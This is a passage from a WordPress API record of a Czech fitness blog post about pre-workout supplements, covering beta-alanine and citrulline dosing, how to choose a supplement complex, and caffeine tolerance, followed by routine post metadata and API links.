v\u00a0kone\u010dn\u00e9 f\u00e1zi v\u00fdkonu, b\u011bhem kter\u00e9ho postupn\u011b p\u0159estanete c\u00edtit nam\u00e1han\u00e9 svaly a v\u00fdkon za\u010dne rapidn\u011b klesat. A pr\u00e1v\u011b zde nastupuje beta-alanin, jeho efektivn\u00ed pod\u00e1v\u00e1n\u00ed toti\u017e dok\u00e1\u017ee toto \u201etuhnut\u00ed\u201c odd\u00e1lit, a to a\u017e o 15 %! D\u00e1vkov\u00e1n\u00ed Zde je t\u0159eba dodr\u017eet z\u00e1kladn\u00ed pravidla. Pro dosa\u017een\u00ed pot\u0159ebn\u00e9ho \u00fa\u010dinku byste m\u011bli u\u017e\u00edvat asi 4\u20136 g beta-alaninu denn\u011b po dobu 2\u20134 t\u00fddn\u016f. Citrulin \u2013 pro lep\u0161\u00ed prokrven\u00ed a men\u0161\u00ed bolest sval\u016f Citrulin je dnes ji\u017e standardn\u011b pou\u017e\u00edvan\u00e1 l\u00e1tka ur\u010den\u00e1 pro podporu prokrven\u00ed a dosa\u017een\u00ed o\u010dek\u00e1van\u00e9ho \u201enapumpov\u00e1n\u00ed\u201c v\u00a0r\u00e1mci posilovac\u00edho tr\u00e9ninku. Bylo zji\u0161t\u011bno, \u017ee v\u00a0tomto ohledu je citrulin lep\u0161\u00ed volbou ne\u017e d\u0159\u00edve preferovan\u00fd arginin, a tak se na etiket\u00e1ch p\u0159edtr\u00e9ninkov\u00fdch v\u00fdrobk\u016f setk\u00e1me v\u011bt\u0161inou pr\u00e1v\u011b s\u00a0n\u00edm. Citrulin ale pom\u016f\u017ee i v\u00a0jin\u00fdch ohledech. Ve studii, kter\u00e9 se z\u00fa\u010dastnilo 41 tr\u00e9novan\u00fdch jedinc\u016f, bylo zji\u0161t\u011bno, \u017ee pod\u00e1v\u00e1n\u00ed citrulin-mal\u00e1tu (8 g p\u0159ed tr\u00e9ninkem) vedlo ke sn\u00ed\u017een\u00ed bolestivosti sval\u016f po dvou dnech o 40 % oproti placebo skupin\u011b. Z\u00e1rove\u0148 byla u pod\u00e1v\u00e1n\u00ed citrulinu pozorov\u00e1na vy\u0161\u0161\u00ed tr\u00e9ninkov\u00e1 kapacita a men\u0161\u00ed \u00fanava. D\u00e1vkov\u00e1n\u00ed Dejte si pozor na spr\u00e1vn\u00e9 d\u00e1vkov\u00e1n\u00ed. Pro optim\u00e1ln\u00ed p\u016fsoben\u00ed se b\u011b\u017en\u011b doporu\u010duje pod\u00e1vat asi 6\u201310 g citrulin-mal\u00e1tu a to nejm\u00e9n\u011b 30, l\u00e9pe 60 minut p\u0159ed tr\u00e9ninkovou jednotkou. \u00a0 Jak vybrat ten nejlep\u0161\u00ed p\u0159edtr\u00e9ninkov\u00fd suplement? Kdybyste cht\u011bli v\u0161echny l\u00e1tky pod\u00e1vat samostatn\u011b, nejsp\u00ed\u0161 byste pot\u0159ebovali celou jednu ta\u0161ku jen na pot\u0159ebn\u00e9 suplementy. Vy si v\u0161ak m\u016f\u017eete zvolit p\u0159edtr\u00e9ninkov\u00fd komplex, kter\u00fd zahrnuje v\u0161echny \u00fa\u010dinn\u00e9 l\u00e1tky v\u00a0pot\u0159ebn\u00e9m pom\u011bru. Jak to ov\u0161em b\u00fdv\u00e1, jsou v\u00fdrobky kvalitn\u00ed a v\u00fdrobky m\u00e9n\u011b kvalitn\u00ed. Proto p\u0159ed samotn\u00fdm zakoupen\u00edm prostudujte etiketu a hledejte \u00fa\u010dinn\u00e9 l\u00e1tky v\u00a0dostate\u010dn\u00e9m mno\u017estv\u00ed. I jinak \u00fa\u010dinn\u00fd citrulin je toti\u017e prakticky nefunk\u010dn\u00ed, pokud je mno\u017estv\u00ed v\u00a0jedn\u00e9 d\u00e1vce p\u0159\u00edli\u0161 n\u00edzk\u00e9. A\u0165 u\u017e si ale vyberete jak\u00fdkoliv p\u0159edtr\u00e9ninkov\u00fd suplement, dr\u017ete se doporu\u010den\u00fdch denn\u00edch d\u00e1vek. Nadbytek kofeinu toti\u017e v\u00a0dlouhodob\u00e9m horizontu vede k\u00a0nav\u00fd\u0161en\u00ed tolerance, tzn. ze stejn\u00e9 d\u00e1vky budete m\u00edt st\u00e1le men\u0161\u00ed u\u017eitek.<\/p>\n","protected":false},"author":2,"featured_media":245,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-244","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/244","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=244"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/244\/revisions"}],"predecessor-version":[{"id":248,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/244\/revisions\/248"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/245"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=244"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}